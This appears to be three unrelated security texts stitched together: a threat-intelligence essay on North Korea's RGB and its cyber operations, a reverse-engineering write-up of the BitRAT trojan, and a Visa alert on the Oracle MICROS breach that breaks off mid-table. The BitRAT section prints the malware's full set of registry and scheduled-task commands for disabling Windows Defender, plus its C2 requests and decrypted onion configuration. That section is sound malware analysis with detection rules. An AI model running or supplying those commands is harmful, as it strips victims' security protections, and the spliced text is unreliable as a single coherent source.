the dominant North Korean foreign intelligence service, but also the center for clandestine operations. The RGB and its predecessor organizations are believed responsible for a series of bombings, assassination attempts, hijackings, and kidnappings commencing in the late 1950s, as well as a litany of criminal activities, including drug smuggling and manufacturing, counterfeiting, destructive cyber attacks, and more. As North Korea’s lead for clandestine operations, the RGB is also likely the primary cyber operations organization. As described by the Center for Strategic and International Studies in a 2015 report, the RGB is a hub of North Korean intelligence, commando, and sabotage operations. The RGB's history of its leadership and component parts paints a picture of a one-stop shop for illegal and clandestine activity conducted outside the DPRK. The RGB and, prior to 2009, its component parts, have been involved in everything from maritime-inserted commando raids to abductions and spying. For the RGB to be in control of cyber assets indicates that the DPRK intends to use these assets for provocative purposes. The RGB probably consists of seven bureaus; six original bureaus and a new seventh (Bureau 121) that was likely added sometime after 2013. Bureau 121 is probably North Korea’s primary cyber operations unit, but there are other units within the KPA and KWP that may also conduct cyber operations. Attribution of specific cyber activity to the North Korean state or intelligence organizations is difficult, and up until recently, circumstantial. On June 12, US-CERT released a joint technical alert that summarized analysis conducted by the U.S. Department of Homeland Security (DHS) and FBI on the “tools and infrastructure used by cyber actors of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the United States and globally.” This alert marked the first time the U.S. government linked threat actor groups and malware long-suspected to be utilized by North Korean state-sponsored actors with the North Korean government itself. DHS and FBI explicitly identified two threat actor groups, Lazarus Group and Guardians of Peace, and three tools, Destover, Wild Positron/Duuzer, and Hangman, as used by the North Korean government. While the FBI and DHS identified many indicators of compromise, Yara rules, and network signatures, the report did not provide any evidence supporting the attribution to the North Korean government or details on which organization or unit might be responsible. Lazarus Group, now known to be North Korean state-sponsored actors, have been conducting operations since at least 2009, with a DDoS attack on U.S. and South Korean websites using the MYDOOM worm. Until late 2015, Lazarus Group cyber activities primarily focused on South Korean and U.S. government and financial organizations, including destructive attacks on South Korean banking and media sectors in 2013 and the highly publicized attack on Sony Pictures Entertainment in 2014. In early 2016, a new pattern of activity began to emerge in an unusual operation against the Bangladesh Central Bank. Actors obtained the legitimate Bangladesh Central Bank credentials for the SWIFT interbank messaging system and used them to attempt to transfer $951 million of the bank’s funds to accounts around the world. A few simple errors by the actors (and some pure luck) allowed central bankers to prevent the transfer of or recover most of the funds, but the attackers ended up getting away with nearly $81 million. The NSA has attributed this attack on the Bangladesh Central Bank to the North Korean state; however, the investigation within the U.S. government is still ongoing. Threat analysts from numerous companies have attributed this attack and subsequent attacks on banks around the world through early 2017 to the Lazarus Group (which DHS, FBI, and NSA have all linked to the North Korean government over the past three days). According to a Washington Post report published on June 14, the NSA has compiled an intelligence assessment on the WannaCry campaign and has attributed the creation of the WannaCry worm to “cyber actors sponsored by” the RGB. This assessment, which was apparently issued internally last week, cited “moderate confidence” in the attribution and ascribed the April campaign as an “attempt to raise revenue for the regime.” The attacks on the Bangladesh Central Bank, additional banks around the world, and the WannaCry ransomware campaign represent a new phase in North Korean cyber operations, one that mirrors the phases of violence and criminality North Korea has passed through over the past 50 years. The broad operational range of known and suspected North Korean cyber operations has for years raised questions about the rationality of North Korean leadership, possible motivations and benefits for the country from this type of cyber activity, and why North Korea would deny responsibility for these attacks. Recorded Future research addresses these questions by examining the whole picture and pairing geopolitical and strategic intelligence with threat intelligence. ## Analysis Digging into some of these past North Korean activities is important to add context to the cyber operations we have tracked since 2009. North Korea’s engagement in a wide range of criminal and terrorist activities is part of its broad national strategy, which employs asymmetric operations and surprise attacks to overcome North Korea’s conventional national power deficit. According to an interview with a former U.S. State Department official and North Korea expert in Vanity Fair, “crime, in other words, has become an integral part of North Korea’s economy. ‘It not only pays, it plays to their strategy of undermining Western interests.’” It is critical to place North Korea’s criminal and cyber activity in the context of its larger military and national security strategies which support two primary objectives: 1. Perpetuation of the Kim regime, 2. Unification of the Korean peninsula under North Korean leadership. A 2016 University of Washington study succinctly summarizes North Korea’s asymmetric military strategy: “Since the end of the Korean War, North Korea has developed an asymmetric military strategy, weapons, and strength because its conventional military power is far weaker than that of the U.S. and South Korea. Thus, North Korea has developed three military strategic pillars: surprise attack; quick decisive war; mixed tactics. First, its surprise attack strategy refers to attacking the enemy at an unexpected time and place. Second, its quick decisive war strategy is to defeat the South Korean military before the U.S. military or international community could intervene. Lastly, its mixed tactics strategy is to use multiple tactics at the same time to achieve its strategic goal.” Despite their near-constant tirade of bellicose rhetoric and professions of strength, North Korea fundamentally views the world from a position of weakness and has developed a national strategy that utilizes its comparative strengths — complete control over a population of 25 million people and unflinching, amoral devotion to the Kim hereditary dynasty. In this context, criminality, terrorism, and destructive cyber attacks all fit within the North Korean asymmetric military strategy which emphasizes surprise attacks and mixed tactics. The criminality and cyber attacks also have the added bonus of enabling North Korea to undermine the very international economic and political systems that constrain and punish it. Evidence is mounting that sanctions, international pressure, and possibly increased enforcement by China are beginning to take their toll on the North Korean economy and in particular, North Korean intelligence agents’ ability to procure goods for regime leadership. A May 2017 report from the Korea Development Institute concluded that North Korea’s black market had helped the nation endure the impacts of the international sanctions last year. Detailed below are numerous non-cyber operations that have been conducted by the predecessor organizations of the RGB. The violence, destruction, and criminal breadth of these operations reveal the broad operational scope of these intelligence services and the context in which they are conducted. This data further reveals a history of denials by North Korea of responsibility for operations dating back to the 1960s, putting into context the current leadership’s denials of cyber operations. ### “Blue House Raid” One of the first major attacks on South Korea since the armistice was declared after the Korean War in 1953 occurred in 1968. The so-called “Blue House Raid” was an assassination attempt on then-President Park Chung Hee by 31 North Korean special operations soldiers on the night of January 20, 1968. The 31 North Korean soldiers crossed the DeMilitarized Zone (DMZ) on foot and managed to get within a half mile of the President’s residence (the so-called “Blue House”) before being exposed. Upon discovery, the North Korean soldiers engaged in a series of firefights with South Korean forces; 68 South Koreans and three U.S. soldiers were killed. Most of the North Korean soldiers were killed in the eight days after the raid; two made it back across the DMZ and one was captured. The captured North Korean soldier claimed during a press conference that they had come to “cut Park Chung Hee’s throat.” That account was disputed during a secret meeting in 1972 between a South Korean intelligence official and then-Premier Kim Il-sung. Kim claimed his government had nothing to do with the raid and “did not even know about it at the time.” ### 1983 Rangoon Bombing On October 9, 1983, three North Korean soldiers attempted to assassinate then-South Korean President Chun Doo Hwan while on a trip to Myanmar. A bomb at a mausoleum the President was scheduled to visit detonated early, killing 21 people, including the Korean Foreign Minister and Deputy Prime Minister. During the trial for the bombers, testimony revealed that the North Korean agents used a North Korean trading vessel to travel to Myanmar and the home of a North Korean diplomat to prepare the bombs. In a classified report (declassified in 2000) ten days after the bombing, CIA analysts laid out a strong case that North Korea was responsible for the attack despite official denials of involvement from the official North Korean news agency. North Korean state media even accused President Chun of using the attack to increase tensions on the peninsula. ### Korean Air Flight 858 Bombing On November 29, 1987, two North Korean intelligence agents boarded and placed a bomb on a Korean Air flight from Baghdad, Iraq to Seoul. During a layover in Abu Dhabi, the two agents de-planed but left the bomb (disguised as a radio) onboard. The bomb detonated and the plane crashed in the jungle on the Thai-Burma border, killing all 115 people on board. One of the North Korean intelligence agents, who was captured alive, later revealed that the bombing was meant to “discourage foreign participation in the 1988 Olympic Games in Seoul and create unrest” in South Korea. The agent also confessed that the order to bomb the plane had come directly from then North Korean leader Kim Il-Sung or his son, later leader Kim Jong-il. ### Transition to Criminality By the mid-1990s, North Korea had generally shifted from acts of terrorism to criminality. While North Korea had held a policy of “self-financing,” in which embassies and diplomatic outposts were forced to earn money for their own operations typically via engaging in illicit activity such as smuggling, since the late 1970s, it was during the 1990s that this criminality became a business of the entire state and not just the diplomatic establishment. A number of factors affected this shift, including the end of the Cold War and the withdrawal of crucial aid from benefactors (like the Soviet Union and China), a crippling famine, a leadership transition, and years of international condemnation and punitive actions. A 2015 report from the Committee for Human Rights in North Korea characterizes North Korea’s involvement in “illicit economic activities” into three separate phases. First, from the origins of North Korea state involvement in the 1970s through mid-1990s, from the mid-90s through the mid-2000s, and approximately 2005 to today. The RGB, its predecessor organizations, and other military and intelligence services support these illicit activities. #### Illegal Drug Manufacturing and Smuggling North Korea has had a state-sponsored drug smuggling (and later manufacturing as well) program since the mid-1970s. This vast enterprise has been supported by the military, intelligence services, and diplomats and has often included working with criminal organizations such as the Taiwanese gang United Bamboo, Philippine criminal syndicates, and Japanese organized crime. Academic research indicates that North Korea has developed extensive covert smuggling networks and capabilities primarily to provide a means of hard currency for the Kim regime. The North Korean state actively cultivates opium poppy and produces as much as 50 metric tons of raw opium per year. To put that in context, the United Nations estimates that Afghanistan produced 6,400 tons of raw opium in 2014, which makes North Korea a minor producer in comparison. According to a Congressional Research Service report, government processing labs have the capacity to process twice that amount into opium or heroin each year. Experts estimate that North Korea brings in as much as $550 million to $1 billion annually from illicit economic activities. #### Counterfeiting One of the more widely reported North Korean criminal enterprises has been the production of counterfeit American $100 (and $50) bills, or so-called “supernotes.” In a 2006 Congressional testimony, the U.S. Secret Service made a definitive link between the production of the “supernote” and the North Korean state. According to interviews in a 2006 New York Times Magazine article, North Korean state support for counterfeiting U.S. currency dates back to a directive issued by Kim Jong-il in the mid-1970s. Original counterfeiting involved bleaching $1 bills and reprinting them as $100 notes and evolved over time as North Korea’s international isolation grew and its economy collapsed. ### A History of Denial As outlined above, North Korea has a history of denying responsibility for their violent, illicit, and destructive operations. This includes denying involvement in the Blue House Raid, the Rangoon Bombing, all criminal and illicit activity including counterfeiting U.S. dollars, the Sony Pictures Entertainment attack, and the Bangladesh Central Bank robbery. Some scholars argue that acts such as counterfeiting a nation’s currency constitutes a casus belli, an action or event that justifies war, and others argue that “international legal norms and constructs do not adequately address what constitutes casus belli in the cyber domain.” Both of these arguments, as well as an understanding of North Korea’s asymmetric military strategy, underscore why North Korea would not want to claim responsibility for many of these destructive and violent acts. Acknowledging state responsibility could provide the United States or South Korea with a valid casus belli, resulting in a war that North Korea would most certainly lose. Even if the evidence is strong, official government denials create uncertainty and give North Korea space to continue operations. ### Impact What has been missing from the discussion about whether North Korea is responsible for the WannaCry campaign and the bank heists has been the why — the geopolitical and strategic intelligence that give CSOs, security professionals, and threat analysts context for the activity they are seeing. As of last week, the NSA and several companies, including Symantec and Kaspersky, have linked the recent WannaCry ransomware campaign to North Korea; Recorded Future assesses that this type of cyber activity would fall within both North Korea’s “self-financing” policy and asymmetric military strategy. In this context, as a nation that is under immense international financial and political pressure and one that employs these types of policies and strategies, Recorded Future believes that North Korean cyber operations (with the goal of acquiring hard currency) will continue for at least the short to medium term (one to three years). Additionally, destructive cyber operations against the South Korean government and commercial entities will persist over this same term and likely expand to Japanese or Western organizations if U.S. and North Korea tensions remain high. The cyber threat environment and military strategy framed above indicate that companies in several major economic sectors should increase monitoring of North Korean cyber activity. Financial services firms must remain constantly vigilant to exploitation of their SWIFT connections and credentials, possible destructive malware attacks and DDoS, and threats to customer accounts and data. Companies in the government contracting and defense sectors, especially companies that support the Terminal High Altitude Area Defense (THAAD) system deployment as well as U.S. or South Korean operations on the peninsula, should be aware of the heightened threat environment to their networks and operations on the Korean peninsula. Energy and media companies, particularly those located in or that support these sectors in South Korea, should be alert to a wide range of cyber activity from North Korea, including DDoS, destructive malware, and ransomware attacks. Broadly, organizations in all sectors should continue to be aware of the adaptability of ransomware and modify their cybersecurity strategies as the threat evolves. This is part one of a two-part series on North Korea. In part two, we will examine patterns of behavior and internet activity from North Korea, including the widespread use of virtual private servers (VPS) and virtual private networks (VPN) to obfuscate browsing, internet transactions, and other, possibly malicious, activity.
# BitRAT – The Latest in C++ Malware Written by Incompetent Developers To yearn for an HVNC sample that is not ISFB or TinyNuke is a sure sign that you are reverse engineering too much malware. – Me I was recently made aware of a somewhat new malware being sold under the name “BitRAT” by the seller “UnknownProducts” on HackForums. As far as I know, there has been no public analysis of this malware yet. The seller’s comments indicate inexperience with malware development, as demonstrated by him bragging about using Boost, OpenSSL, and LibCURL in his malware. The screenshot provided was even more laughable, as we can see the developer used `std::thread` along with `sleep_for`. Given the heavy use of such libraries, the malware might as well be in Java. The naming convention is also inconsistent, mixing Hungarian notation (`bOpen`) with snake_case (`m_ssl_stream`), with the latter name being copied from an open-source project. The Tor binary is also dropped to disk, something which no competent malware developer would do. Anyways, enough about the author’s posts, let us move on to analyzing the files at hand. The goal of this analysis is to do the following: - Analyze the controller and see how it communicates with the developer’s server. - Break the various obfuscation and anti-analysis tricks used by BitRAT. - Analyze the behavior and functionality of the RATs and how some features are implemented. - Study the relationship between BitRAT and several other malware that it is related to. ## The Controller In this section, I’ll describe BitRAT’s licensing protocol and how the malware controller determines whether the person running it is a paying customer or not. The controller software is developed in .NET and is obfuscated with Eazfuscator. The version I have was compiled on the 17th of August at 11:35:05 UTC. The licensing protocol starts with the following HTTP request being sent: ``` GET /lic.php?h=HWID&t=unknown_value&s=unknown_value HTTP/1.1 Host: unknownposdhmyrm.onion Proxy-Connection: Keep-Alive ``` The response is the following string, base64 encoded: ``` unknown_value|NO if not licensed, OK if licensed|0|1.26|1|base64_status_update_message|| ``` If there is no valid license associated with the HWID, the following 2 requests are made to create a purchase order: ``` GET /step_1.php?hwid=HWID&uniqueid=HWID&product_id=1 HTTP/1.1 Host: unknownposdhmyrm.onion Proxy-Connection: Keep-Alive GET /step_2.php?product_id=1&step=2&uniqueid=HWID HTTP/1.1 Host: unknownposdhmyrm.onion Proxy-Connection: Keep-Alive ``` If you want to update your HWID, the following request is made: ``` GET /hwid_update.php?hwid_old=[oldhwid]&hwid_new=[newhwid] HTTP/1.1 Host: unknownposdhmyrm.onion Proxy-Connection: Keep-Alive ``` The payloads are built on the vendor’s server. ``` GET /client/clientcreate.php?hwid=hwid_here&type=standard&ip_address=google.com&tcp_main_port=3933&tcp_tor_service_port=0&install_folder=google&install_filename Host: unknownposdhmyrm.onion Proxy-Connection: Keep-Alive ``` The parameters are as follows: - `hwid`: self-explanatory - `type`: "standard" or "tor" - `ip_address`: self-explanatory - `tcp_main_port`: self-explanatory, 0 if tor - `tcp_tor_service_port`: 80 if tor, 0 if standard - `install_folder` and `install_filename`: self-explanatory - `pw_hash`: MD5 hash of the selected communication password. - `tor_prcname`: name of the dropped tor.exe binary. 0 if standard. The server runs Apache/2.4.29 (Ubuntu) and has a directory called “l” with contents unknown. ## The Payload The main sample that I will discuss is `7faef4d80d1100c3a233548473d4dd7d5bb570dd83e8d6e5faff509d6726baf2`. It is written in Visual C++ with libraries including Boost, libCURL among other libraries. It was compiled with Visual Studio 2015 Build 14.0.24215 on the 14th of August at 01:32:11 UTC. The first part of the following section will discuss some of the obfuscation that BitRAT uses, the rest will focus on discussing the behaviors and functionalities as well as how those are implemented. ### String Pointers The file for reasons that are initially unknown stores string pointers into an array instead of using them directly. This is dealt with rather easily using an IDAPython script (attached at the end of the article). ### Dynamic API Some APIs in the file are loaded dynamically. The code for loading this is quite strange. First, `LoadLibraryA` is resolved and some DLLs are loaded with it. Then, the author resolved `GetProcAddress` using `GetProcAddress`. This highly redundant code is something that no experienced developer would write. The APIs are then resolved. As we can see from the code the results are strangely not stored at times, for example, in this snippet `WSACleanup` is never stored anywhere. As was the case before, we dealt with this easily using IDAPython (the name for pmemset shown is automatically generated). The end of the function is also shrouded in mystery, with the UTF-8 strings for the DLL names being turned into wide-character strings on the heap and then finally returned. All of these strange quirks didn’t make sense at first, but then it struck me that I’ve seen this done before: this very API loader is a complete paste from TinyNuke. Further examination confirmed this and that some function pointers are not saved due to compiler optimization. Analyzing the code further, one could see that the entire HVNC/Remote Browser portion of BitRAT is a paste of TinyNuke with minimal modification. We’ll go into more details of this in the later section covering the HVNC/Hidden Browser. ### String Encryption Strings are encrypted at compile time using LeFF’s constexpr trick which is copied completely and unmodified. Strangely enough, Flare’s FLOSS tool does not work well on the payload for reasons unknown. As such, other less automated approaches are required for defeating this obfuscation. For this part, I had the help of defcon42 who aided greatly in writing the IDAPython scripts. First, there are strings that are properly encrypted as LeFF intended. Second, there are strings that MSVC for reasons unknown (read: being a bad compiler) didn’t perform constexpr evaluation on. For this, we used another script with another pattern. Third, there are strings for which the decryption function was not inlined (as developers who are well acquainted with MSVC would know, `__forceinline` is much more like `__maybeinlineifyoufeellikeit`). This is often paired with the second variant of un-obfuscation. For this, we can hook the decryptor function (which are clustered together and easy to find manually) and dump the output and caller address. With this, we likely have almost all of the strings that are used by BitRAT. There possibly are some strings left over that we didn’t identify, but for the purpose of a preliminary static analysis, this is good enough. ### Antidebug BitRAT uses `NtSetInformationThread` with `ThreadHideFromDebugger` for anti-debugging purposes. ### Command Dispatcher The command dispatcher takes the form of a switch-turned-into-jump-table. The array has 0x88 elements, corresponding to 0x88 unique commands. Initially, I attempted the tedious work of identifying what each of these commands semi-manually, but after working my way through around 30 commands I discovered a function (4D545D) where the list of command strings and their corresponding ID is built. The function takes the form of the following statement being repeated 0x88 times for each command. Because statically extracting this information would be extremely tedious as the compiler generates code that does not fall neatly into patterns, I dumped the table dynamically through hooking the `create_command_entry` function. The full table of commands and corresponding ID is listed below: ``` cli_rc | 00 cli_dc | 01 cli_un | 02 cli_sleep | 03 ... hvnc_start_run | 84 hvnc_start_ff | 85 hvnc_start_chrome | 86 hvnc_start_ie | 87 ``` Following this, I’ll be discussing some of the most notable commands and features that the RAT has. ### HVNC/Hidden Browser The HVNC/Hidden Browser feature of this RAT is entirely copypasted from TinyNuke. The following functions from TinyNuke are present in their entirety: The commands `hvnc_start_explorer`, `hvnc_start_run`, `hvnc_start_ff`, `hvnc_start_chrome`, `hvnc_start_ie` are simply copied from TinyNuke with minimal modifications. Below are two side-by-side comparisons of the code to show the level of copy-pasting I’m talking about. The top screenshot is TinyNuke, the bottom is also TinyNuke but inside BitRAT. One of the most obvious indicators of TinyNuke’s HVNC is the traffic header value “AVE_MARIA” which UnknownProducts did not change. The HVNC client (located at `data\modules\hvnc.exe`) is also a complete rip-off of TinyNuke. ### UAC Bypass The UAC Bypass uses the fodhelper trick to elevate its privileges. The same code is embedded in multiple functions including the Windows Defender Killer code as well as the persistence code. ### Windows Defender Killer Arguably, this is the most laughable feature of the malware. The first few lines of assembly alone express the sheer absurdity of it. `WinExec`? Are we still living in 2006? The function is only around for compatibility with 16-bit Windows! BitRAT proceeds to run 32 different commands using `WinExec` to disable Windows Defender. They are as follows: ``` reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f ``` ### Persistence BitRAT uses the `BreakOnTermination` flag through the function `RtlSetProcessIsCritical` to cause a bugcheck on termination of the process. This is done when the command line parameter `-prs` is present. In addition, it also attempts to elevate privileges using the fodhelper method whenever persistence is activated. ### Webcam and Voice Recording Both of these rely on open source libraries, OpenCV for webcam capture, and A. Riazi’s Voice Recording library with some debugging code removed. ### Download and Execute Usually, I would not discuss such a trivial function, but the malware author managed to write this in a peculiarly terrible way. There are basically two different methods of downloading: the first performs the typical `URLDownloadToFile` + `ShellExecute` combo. The peculiarity lies in the second execution path. Here, the developer opted to use libcurl to download the file to memory and then uses process hollowing/runPE to execute it. The code is rather clearly copy-pasted, given the use of the default libcurl user agent. In addition, the process hollowing code used was one you would expect to see in 2008 crypters, not 2020 malware. ### BSOD Generator Like the function above, it is also rather trivial and I usually would not bother discussing this. However, even this was completely copy-pasted from StackOverflow. ### Configuration The configuration is edited into the file post-compilation by replacing two strings in the binary. The first string (offset 004C9C68) contains the encrypted configuration information, and the second string (offset 004C9E6C) contains part of what will become the decryption key. First (004E1694), the encryption key is concatenated with the string “s0lmYr”. Then (4E16AA), the result is MD5 hashed and truncated down to 16 characters (4E16B8). Finally (004E16FE), the key is used to decrypt the configuration block. The decryption function uses a class called “Enc”, which is a wrapper around an open source implementation of the Camellia encryption algorithm. Decrypting the configuration of the sample in question with the key we generated, we get the final configuration data, which is as follows: ``` khw3lix3kcivpsmlgglqao2ntut5gmp2ydmvnn5leduil554po5n2wad.onion|0|80|0c9c6aaa257aced0|Xauth|auth.exe|b43e92f859a4b4e81c5c7768339be3e ``` We can infer that the format is: ``` hostname|non-tor port|tor port|unknown value|installation folder|installation name|md5 of communication password|tor process name ``` The unknown value is unique across builds including builds from the same customer. It is possibly used by the malware author to track builds generated by customers but we can’t say much without guessing. ### Possible Link to Warzone RAT Recall the string that was concatenated to generate the key for decrypting the configuration. As we know, Solmyr is the developer of Warzone, another RAT on HF. The features of the two RATs are somewhat similar, and both are copy-pasted from TinyNuke. However, there are a wide variety of differences that indicate that the two are not developed by the same person. First of all, the coding styles of the two are significantly different, Warzone was for the most part lightweight while BitRAT is heavily bloated. The portion of TinyNuke that was copy-pasted is slightly different as well, with BitRAT utilizing the API loading mechanism while Warzone used the regular import table and slightly modified the code as well. Many functionalities are also implemented differently. For example, BitRAT uses `SetWindowsHookExW(WH_KEYBOARD_LL)` to perform keylogging, while Warzone uses a Window callback and `GetRawInputData` to achieve this purpose. UnknownProducts, the developer of BitRAT, was a customer of Warzone at one point. It is possible that the developers of the two malware have some form of code-sharing or contractual relationship. However, as there is not much public information available regarding the relationship between the two developers, we could only speculate as to why “s0lmYr” was present as a key in BitRAT. ## Final Thoughts and Notes As is the case with most HF malware, BitRAT is best described as an amalgamation of poorly pasted leaked source code slapped together alongside a fancy C# GUI. It makes heavy use of libraries such as C++ Standard Library, Boost, OpenCV, and libcurl, as well as code copied directly from leaked malware source code or sites including StackOverflow. The choice of Camellia is somewhat unique; I have not seen this specific algorithm used in malware before. In marketing the malware, the author makes multiple false claims. He asserted that the malware is “Fully Unicode compatible” while the TinyNuke code used ANSI APIs. He claimed the persistence is “impossible to kill” when in reality `BreakOnTermination` doesn’t make the process impossible to terminate and can be easily unset the same way it was set. Features such as the Windows Defender killer are terribly done and would catch the eye of anyone monitoring the system, and last but not least, the claim that the developer “[didn’t] copy anything” is most patently untrue. It is disappointing how easy it is for anyone with minimal programming experience to whip up a quick malware and make a profit harming others. ## YARA Rule ```yara rule BitRATStringBased { meta: author = "KrabsOnSecurity" date = "2020-8-22" description = "String-based rule for detecting BitRAT malware payload" strings: $tinynuke_paste1 = "TaskbarGlomLevel" $tinynuke_paste2 = "profiles.ini" $tinynuke_paste3 = "RtlCreateUserThread" $tinynuke_paste4 = "127.0.0.1" $tinynuke_paste5 = "Shell_TrayWnd" $tinynuke_paste6 = "cmd.exe /c start " $tinynuke_paste7 = "nss3.dll" $tinynuke_paste8 = "IsRelative=" $tinynuke_paste9 = "-no-remote -profile " $tinynuke_paste10 = "AVE_MARIA" $commandline1 = "-prs" wide $commandline2 = "-wdkill" wide $commandline3 = "-uac" wide $commandline4 = "-fwa" wide condition: (8 of ($tinynuke_paste*)) and (3 of ($commandline*)) } ``` ## Hashes - `7faef4d80d1100c3a233548473d4dd7d5bb570dd83e8d6e5faff509d6726baf2` (I’ve uploaded this to VirusBay, if you have access to neither VT and VB feel free to message me on Twitter and I’ll share the file.) - `278e32f0a92deca14b2a1c2c7984ebf505bbe8337d31440b7f1d239466f4bb74` - `495bf0fc6abef22302d9ac4c66017fc6c7b767b32746db296ac8d25e77e28906` - `d0abc08b50b1285f484832548dab453203f9b654e2a36c1675d3a9e835419ff4` - `eb82628a61e11bf8a91a687ce55a4615ef3d744635a864aefa7e79c8091ce55c` - `e7860957e268e4cdb8b63a3cf81f450cbfbb31d1cf78e6cc11f6f15cb157b409` ## Network Indicators - TLS certificate with subject matching issuer and CN=BitRAT. - Tor traffic. - User-agent: “libcurl-agent/1.0” (though this would also be present in some legitimate traffic). ## Tools I’ve published the source code of several scripts and tools I made during the process of reverse engineering. I’ve only published one of the string decryption scripts because the rest are rather unfinished and unreliable. The command hook tool uses the Subhook library. You can view the code on Gitlab.
# Visa Security Alert - August 2016 ## Oracle MICROS Compromise Notification **Distribution:** Issuers, Acquirers, Processors, and Merchants **Summary:** On Monday, 8 August 2016, Oracle Security informed Oracle MICROS customers that it had detected malicious code in certain legacy MICROS systems. Oracle is currently investigating the compromise, and as of 12 August 2016, the company has not published details about the causes. Visa is issuing this alert to provide indicators of compromise (IOCs) associated with cybercrime threats known to have previously targeted Oracle systems. ## About Oracle MICROS Oracle MICROS offers a range of software, hardware, and related services, including point-of-sale systems (POS) and cloud solutions to manage hotels, food and beverage facilities, and retailers. According to Oracle MICROS, its technologies are in use across 330,000 customer sites in 180 countries. ## Oracle Customer Notification According to media sources, Oracle Security provided a notification to Oracle MICROS customers on 8 August 2016, informing them of the following: - Oracle Security has detected and addressed malicious code in certain legacy MICROS systems. - Oracle has confirmed that it's investigating a breach of its MICROS division. - Oracle's own systems, corporate network, and other cloud and service offers were not impacted. - Oracle MICROS users will have to change their account passwords immediately. - The company reportedly stated that payment data was not at risk, as that information is encrypted both at rest and in transit in the MICROS environment. Although Oracle has not provided additional details on the exact date or extent of the breach of Oracle MICROS, some media reports suggest that the support portal for MICROS clients was also compromised. ## Cybercrime Threats to Oracle MICROS Visa is aware of two cybercrime threats, “Carbanak” and “MalumPOS,” which have previously targeted Oracle systems. Indicators of compromise (IOCs) associated with both Carbanak and MalumPOS are provided in section two of this report. ### Carbanak On 8 August 2016, a media source reported that the “Oracle’s MICROS customer support portal was seen communicating with a server known to be used by the Carbanak.” According to Kaspersky Lab, in February 2015, the Carbanak group used techniques commonly seen in Advanced Persistent Threat (APT) incidents to successfully target one financial institution’s money processing services, Automated Teller Machines (ATM), and financial accounts. In some cases, Oracle databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between accounts using the online banking system. The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it as part of this operation. In March 2015, Visa provided an industry-wide public alert and mitigation guidance concerning Carbanak. Visa recommends that all financial institutions and retailers scan their networks for the presence of Carbanak. If detected, please contact law enforcement immediately and activate security incident procedures. ### MalumPOS Discovered by TrendMicro in 2015, MalumPOS is known to specifically target Oracle MICROS point-of-sale devices. MalumPOS is described as simple and non-obfuscated malware, written in the Delphi programming language. Visa is aware that MalumPOS is still actively used by cyber criminals. ## Mitigation Action Recommended for Oracle MICROS Customers - Change passwords for any account used by a MICROS representative to access the customer’s on-premises systems. - Scan network for the following: - Psexec file - Files with .bin extension (located in \All users\%AppData%\Mozilla\ or c:\ProgramData\Mozilla\) - Svchost.exe file (located in Windows\System32\com\catalogue\) - Svchost.exe file (located in C:\ProgramData\Mozilla\svchost.exe) - This file provided remote access functions, such as the ability to execute arbitrary commands, upload/download files. - Operating system (Windows) running services ending in “sys” - Scan networks for IOCs linked to Carbanak: - Scan networks for IOCs linked to MalumPOS: | File Name | Description | |------------|-------------| | Mnv.exe | Oracle Forms process, MICROS 9700 VISAD Driver | | Nvsvc.exe | MICROS 9700 SSL GW | | Nvsvc.exe | Oracle Forms process, Web-based PoS systems | | 